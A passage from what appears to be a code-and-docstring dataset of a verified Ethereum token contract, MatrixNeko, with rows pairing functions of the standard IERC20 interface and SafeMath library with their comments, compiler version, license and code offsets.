* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
balanceOf
|
function balanceOf(address account) external view returns (uint256);
|
/**
* @dev Returns the amount of tokens owned by `account`.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
261,
338
]
}
| 55,521 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
IERC20
|
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
transfer
|
function transfer(address recipient, uint256 amount) external returns (bool);
|
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
584,
670
]
}
| 55,522 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
IERC20
|
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
allowance
|
function allowance(address owner, address spender) external view returns (uint256);
|
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
971,
1063
]
}
| 55,523 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
IERC20
|
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
approve
|
function approve(address spender, uint256 amount) external returns (bool);
|
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
1770,
1853
]
}
| 55,524 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
IERC20
|
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
transferFrom
|
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
|
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
2194,
2300
]
}
| 55,525 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
SafeMath
|
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
add
|
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
|
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
290,
496
]
}
| 55,526 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
SafeMath
|
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
sub
|
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
|
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
805,
958
]
}
| 55,527 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
SafeMath
|
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
sub
|
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
|
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
1287,
1504
]
}
| 55,528 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
SafeMath
|
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
mul
|
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
|
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
1789,
2309
]
}
| 55,529 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
SafeMath
|
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
div
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
